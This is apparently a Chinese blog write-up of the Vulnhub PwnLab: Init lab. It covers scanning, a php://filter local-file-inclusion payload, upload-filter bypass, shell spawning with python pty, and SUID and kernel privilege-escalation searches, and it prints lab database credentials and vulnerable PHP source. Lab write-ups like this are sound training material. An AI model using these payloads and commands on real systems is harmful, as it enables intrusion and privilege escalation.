Vulnhub- PwnLab Init

信息收集

使用nmap进行C段扫描:nmap -sn 192.168.6.1/24

-sn不扫描端口,有的会使用-n选项不进行DNS解析,但我一般识别出靶机全靠它的dns名。加上-PE使用ICMP扫描会快一点,但需要root权限。

nmap做C段扫描发现靶机

找到了目标主机,做全面的端口扫描,可以使用nmap或fscan。nmap命令:nmap -T4 -A -v -Pn 192.168.6.123-A, 用来进行操作系统及其版本的探测,-T4 可以加快执行速度,-Pn无ping扫描,-v增加详细级别,使用-vv级别更高。

nmap扫描结果

可以看到有80、3306、111三个端口开放。访问80查看web页面,同时用dirsearch做目录扫描。python dirsearch.py -u http://192.168.6.123/

dirsearch扫描结果

试了试扫出来的结果,没有发现有价值的内容。使用bp自带的quick fuzz字典,fuzz了一下登录表单,也没有类似sql注入的迹象。/upload.php页面显示必须登录才能访问,准备尝试下爆破登录密码,或者爆破下mysql密码。

爆破失败了,看了眼wp恍然大悟,自己忽略了一个点。

page切换

如上图所示,当点击login时通过page=login来切换页面下方显示的内容,在目录扫描完成后我试着访问过login.php如上图右侧,发现也是个登录表单,但因为忽略了url的变化如上图左侧,没有意识到这里可能存在的文件包含漏洞!

随即使用bp的fuzz字典进行了fuzz,可惜的是无论是quick fuzz还是full fuzz都没有成果。只能手动了,使用?page=/etc/passwd直接去包含文件,并没有任何回显;想到最近做的ctf题,文件包含又是php的,那试试伪协议呢?使用payload:?page=php://filter/read=convert.base64-encode/resource=login成功读取到了login.php的源码。这里不能加.php后缀,还没搞明白为什么。

后在源码中发现了还存在一个config.php,在该文件中找到了数据库的连接信息:

1
2
3
4
$server	  = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";

如下是login.php的部分源码,看起来,应该有sql注入的,用sqlmap测一测。然而并没有,使用sqlmap测了之后,加了tamper也没有。查了查这种方法即所谓“预编译”,PreparedStatemen,是有效规避sql注入的方法,学到了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
session_start();
require("config.php");
$mysqli = new mysqli($server, $username, $password, $database);

if (isset($_POST['user']) and isset($_POST['pass']))
{
	$luser = $_POST['user'];
	$lpass = base64_encode($_POST['pass']);

	$stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?");
	$stmt->bind_param('ss', $luser, $lpass);

	$stmt->execute();
	$stmt->store_Result();

	if ($stmt->num_rows == 1)
	{
		$_SESSION['user'] = $luser;
		header('Location: ?page=upload');
	}
	else
	{
		echo "Login failed.";
	}
}

但是问题不大,现在既然拿到了mysql账户的用户名和密码,先登录数据库,找一找登录用户名和密码,再看能不能上传webshell。有个小插曲,可能是爆破mysql密码的原因,kali被block了。

kali被block

拿到账户名密码

拿到用户名和密码,登录成功后直接跳转至upload,试着上传了shell.php,提示后缀不允许,只允许上传图片。前段时间做了一道CTF跟这个很像,那个首先是MIME校验,外加后缀黑名单,但那道题获取后缀的方法有漏洞,只从第一个.到末尾就算后缀了。所以很容易的.a.php即可绕过黑名单。

上传失败

这里的server也是Apache 2.4.10 Debian源的,有换行解析漏洞和未知后缀解析漏洞可以去尝试,但是既然已经能够读源码了,没必要去猜去试了。直接读取upload.php的源码。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// upload.php部分源码
<?php 
if(isset($_POST['submit'])) {
	if ($_FILES['file']['error'] <= 0) {
		$filename  = $_FILES['file']['name'];
		$filetype  = $_FILES['file']['type'];
		$uploaddir = 'upload/';
		$file_ext  = strrchr($filename, '.');
		$imageinfo = getimagesize($_FILES['file']['tmp_name']);
		$whitelist = array(".jpg",".jpeg",".gif",".png"); 

		if (!(in_array($file_ext, $whitelist))) {
			die('Not allowed extension, please upload images only.');
		}

		if(strpos($filetype,'image') === false) {
			die('Error 001');
		}

		if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
			die('Error 002');
		}

		if(substr_count($filetype, '/')>1){
			die('Error 003');
		}

		$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

		if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
			echo "<img src=\"".$uploadfile."\"><br />";
		} else {
			die('Error 4');
		}
	}
}

?>

可以看到,校验还真不少。这里获取文件名的方式使用的是$filename = $_FILES['file']['name'];,会把\x0a自动去除,换行解析没法用。用的还是白名单校验,也不能用题目的方法进行绕过了。获取后缀用到了函数strrchr,搜索函数strrchr时第一次打错成了strchr,后者是匹配第一个出现的.直至末尾,心凉半截,这怎么绕啊。但是定睛一看,原来是strrchr,匹配最后一个出现的.直至末尾。修改content-type绕过 Error 1和Error 3,添加文件头绕过Error 2,payload如下:

payload

再使用文件包含获取webshell。但是用page包含失败了,于是直接读index.php的源码来看,到这里解了前面疑惑为什么不用加后缀。原来这里做了一个.php后缀的拼接,再加上上传时的白名单校验,也就意味着,我们没办法使用page参数传入webshell低地址来进行LFI并getshell了。不过注意到了另一个include函数参数可控,即4~7行的lang参数。

image-20241102184431339

payload

getshell & 提权

反弹shell的命令

获取shell

得到shell之后看了下,www-data的权限,环境中有python;先用python“升级”下tty。python -c 'import pty; pty.spawn("/bin/bash")'

suid提权

suid(set uid)是linux中的一种特殊权限,可以让调用者以文件所有者的身份运行该文件。在运行过程中,该进程的权限即为root权限。当然如果具有suid的权限的可执行文件都能用于提权,那就不是特殊权限而是漏洞了。所以suid提权的核心,就是第一步寻找有特殊权限的文件,第二步筛选出那些可能程序自身问题导致的可用于提权的可执行文件。第一步可以使用命令:

1
2
3
4
# 寻找属于root用户且具有suid权限的文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

第二步可以去GTFOBins中找:GTFOBins

当然可能由于当前用户的权限不足,无法查找到所有可用的文件。例如本靶机中,使用www-data用户搜索不到可用的文件。

内核提权

手动的方法就uname -r查看当前内核版本,再搜索该内核版本可能存在的漏洞,例如使用kali自带的searchsploit搜索。这里我使用了自动化脚本来协助——[linux-exploit-suggester-2](https://github.com/jondonas/linux-exploit-suggester-2)

linux-exploit-suggester-2结果

可恶,两个提权脚本都试了,都失败了。看了wp,也有提到内核提权的但没有细说;更多的是利用前面获取到的密码切换了用户,只要ls一下/home就能发现用户跟获取到的用户名+密码的用户是一样的。登录后,在系统用户的基础上继续完成提权,还要执行靶机上的可执行文件,我觉得不是很合理,就不再试了。

总结 & Reference

  1. 多留意页面切换的实现方式,多fuzz参数;传webshell时有意无意地带上文件头
  2. LFI尝试直接读系统文件、伪协议、当前目录的文件,有时去掉后缀也试试。
  3. Apache 2.4.10 Debian源,换行解析漏洞、未知后缀漏洞,以及利用的限制。

https://github.com/InteliSecureLabs/Linux_Exploit_Suggester

https://xz.aliyun.com/t/12535

https://www.cnblogs.com/leixiao-/p/10223090.html

https://www.cnblogs.com/wjrblogs/p/12285202.html

https://blog.csdn.net/gx1469131213/article/details/132138574

使用 Hugo 构建
主题 StackJimmy 设计